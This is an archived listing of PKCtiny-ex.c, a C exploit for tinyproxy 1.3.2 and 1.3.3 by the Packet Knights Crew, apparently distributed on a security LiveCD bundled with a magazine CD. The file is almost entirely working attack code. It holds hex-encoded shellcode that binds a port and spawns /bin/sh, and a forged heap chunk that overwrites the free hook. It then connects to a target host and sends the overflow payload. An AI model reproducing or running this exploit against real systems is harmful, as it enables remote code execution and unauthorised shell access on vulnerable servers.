home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / tinyproxy / PKCtiny-ex.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  105 lines

  1. /*
  2.  * Exploit for tinyproxy 1.3.2 and 1.3.3
  3.  * by |CyRaX| <cyrax@pkcrew.org>
  4.  * Packet Knights Crew - www.pkcrew.org
  5.  * READ THE ADVISORY FIRST !
  6.  * Greetz :
  7.  *  bikappa: for some help
  8.  *  all the pkc members expecially recidjvo, asynchro and cthulhu
  9.  *  all the other friends
  10. */
  11.  
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <netinet/in.h>
  16.  
  17. char jmps[]="\xeb\x0e";
  18.  
  19. char c0de[]="\xeb\x0e\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  20.             "\x90\x90\x90\x90\x90\x90\x90"
  21.             "\x89\xe5"
  22.             "\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  23.             "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  24.             "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  25.             "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  26.             "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  27.             "\x80\xea\x27\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x1f\x5e"
  28.             "\x80\x46\x04\x01"
  29.             "\x80\x06\x01"
  30.             "\x89\x75"
  31.             "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  32.             "\x8d\x55\x0c\xcd\x80\xe8\xdc\xff\xff\xff\x2e\x62\x69\x6e\x2e\x73\x68";
  33.  
  34. void usage();
  35.  
  36. void usage(){
  37.    printf("Exploit for Tinyproxy 1.3.2 and 1.3.3 by |CyRaX| <cyrax@pkcrew.org>\n");
  38.    printf("Packet Knights Crew - http://www.pkcrew.org\n");
  39.    printf("please.. READ the advisory first!\n");
  40.    printf("Usage : ./PKCtiny-ex <host> <port> <buf_size> <struct offset> <free_hook> <shellcode>\n");
  41.    printf("buf_size is the size of the buf we send\n");
  42.    printf("struct offset is the distance from the beginning of the buffer we send where we\n");
  43.    printf("       we put the malloc chunk struct!\n");
  44.    printf("free_hook is the address of the free_hook function pointer\n");
  45.    printf("shellcode is the address of the shellcode (you don't neet to hit it correctly\n");
  46.    printf("          you can just hope to it a jump\n");
  47.    printf("\nfree_hook and shellcode must be given in 0xaddress format\n");
  48.    exit(0);
  49. }
  50.  
  51. int main(int argc, char **argv){
  52.    int s,i,err,pid[5];
  53.    struct sockaddr_in dst;
  54.    struct malloc_chunk{
  55.       unsigned int ps;
  56.       unsigned int sz;
  57.       struct malloc_chunk *fd;
  58.       struct malloc_chunk *bk;
  59.    }mc;
  60.    char *magic,*sndbuff;
  61.    unsigned long FREE_HOOKZ,SHELLCODE;
  62.    if(argc<5)usage();
  63.    magic=(char *)malloc(atoi(argv[3])+1);
  64.    sndbuff=(char *)malloc(atoi(argv[3])+30);
  65.    memset(magic,'\x90',atoi(argv[3]));
  66.  
  67.    SHELLCODE=strtol(argv[6],NULL,16);
  68.    FREE_HOOKZ=strtol(argv[5],NULL,16);
  69.  
  70.  
  71.    dst.sin_addr.s_addr=inet_addr(argv[1]);
  72.    dst.sin_port=htons(atoi(argv[2]));
  73.    dst.sin_family=AF_INET;
  74.    mc.ps=0xffffffff & ~1;
  75.    mc.sz=0xffffffff;
  76.    mc.fd=(struct malloc_chunk *)(SHELLCODE);
  77.    mc.bk=(struct malloc_chunk *)(FREE_HOOKZ-8);
  78.  
  79.    s=socket(AF_INET,SOCK_STREAM,0);
  80.    connect(s,(struct sockaddr *)&dst,sizeof(dst));
  81.    memcpy(magic+atoi(argv[4]),&mc,sizeof(mc));
  82.  
  83.    if((atoi(argv[3])/2)<atoi(argv[4])){
  84.       /* putting jmps and shellcode before the struct */
  85.       for(i=0;i<(atoi(argv[4])-strlen(c0de)-10);i+=2){
  86.      memcpy(magic+i,jmps,2);
  87.       }
  88.    }
  89.    else {
  90.       /* putting jmps and shellcode after the struct */
  91.       for(i=atoi(argv[4])+sizeof(mc);i<atoi(argv[3])-10-strlen(c0de);i+=2){
  92.      memcpy(magic+i,jmps,2);
  93.       }
  94.    }
  95.    memcpy(magic+i,c0de,strlen(c0de));
  96.  
  97.    magic[atoi(argv[3])]=0;
  98.  
  99.    printf("strlen magic is %i\n",strlen(magic));
  100.    sndbuff[snprintf(sndbuff,atoi(argv[3])+20,"connect %s://\n",magic)]=0;
  101.    printf("shooting\n");
  102.    err=send(s,sndbuff,strlen(sndbuff),0);
  103. }
  104.  
  105.